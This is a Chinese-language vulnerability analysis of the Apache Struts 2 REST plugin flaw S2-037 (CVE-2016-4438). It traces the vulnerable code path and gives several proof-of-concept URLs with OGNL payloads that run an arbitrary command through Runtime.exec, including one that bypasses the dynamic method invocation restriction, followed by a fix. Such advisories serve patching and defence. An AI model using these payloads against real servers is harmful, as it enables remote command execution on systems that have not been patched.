Apache Struts 2任意代码执行漏洞(S02-037) (CVE-2016-4438)

时间:2016-06-17 10:32:21来源:技术部作者:梦之想

    Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与 ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。

   

   4月,Apache Struts 2出现了S2-033远程代码执行漏洞,以迅雷不及掩耳之势席卷而来,6月又发现的Struts 2新漏洞S2-037(CVE-2016-4438),影响所有使用了REST插件的用户,无需要开启动态方法执行(不包括struts 2.5)。

 

   根据官方对S2-033的描述,有两个关键点:第一个是REST Plugin,另一个是Dynamic Method Invocation is enabled.(也就是开启动态方法执行)。

源代码调试,载入官方的演示包struts2-rest-showcase.war,随便访问一个连接/struts2-rest-showcase/orders/1,定位到关键代码。

Rest-plujin包里面的org.apache.struts2.rest.RestActionMapper:


首先:dropExtension检查后缀名



其中extensions的值来自配置文件struts-plugin.xml,默认是:


构造一个.xhtml、.xml或者.json结尾的URL通过后缀名检查,若没有后缀直接是xx/xx,不能使用”.”。

继续调试:


若刚才的链接里出现了“!”就进入下面的流程直接得到一个!后面的值,然后未过滤的直接放在mapping里面,

构造链接:/struts2-rest-showcase281/orders/3/1!{xxx}



com.opensymphony.xwork2.DefaultActionInvocation类的invokeAction方法,如下图


最终导致代码执行的地方就是methodName直接进入ognlUtil.getValue方法。

POC:
http://127.0.0.1:8888/struts2-rest-showcase/orders/3!%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd),index.xhtml?cmd=calc


但是动态方法在这里默认是不开启的,对代码执行主要限制的地方:


http://127.0.0.1:8888/struts2-rest-showcase/orders/3/methodName
这样构造就不需要动态方法执行了,POC:
http://127.0.0.1:8888/struts2-rest-showcase/orders/3/%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd),index.xhtml?cmd=calc


可以绕过动态方法执行的限制,S02-037 POC:
http://127.0.0.1:8888/struts2-rest-showcase281/orders/3/(%23mem=%23_memberAcces%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3f@java.lang.Runtime@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc



修复方案:加入cleanupActionName进行过滤 或者 更新至官方struts2.3.29


参考:https://cwiki.apache.org/confluence/display/WW/S2-037


关注梦之想官方微信公众号获取最新漏洞动态:XWAYTech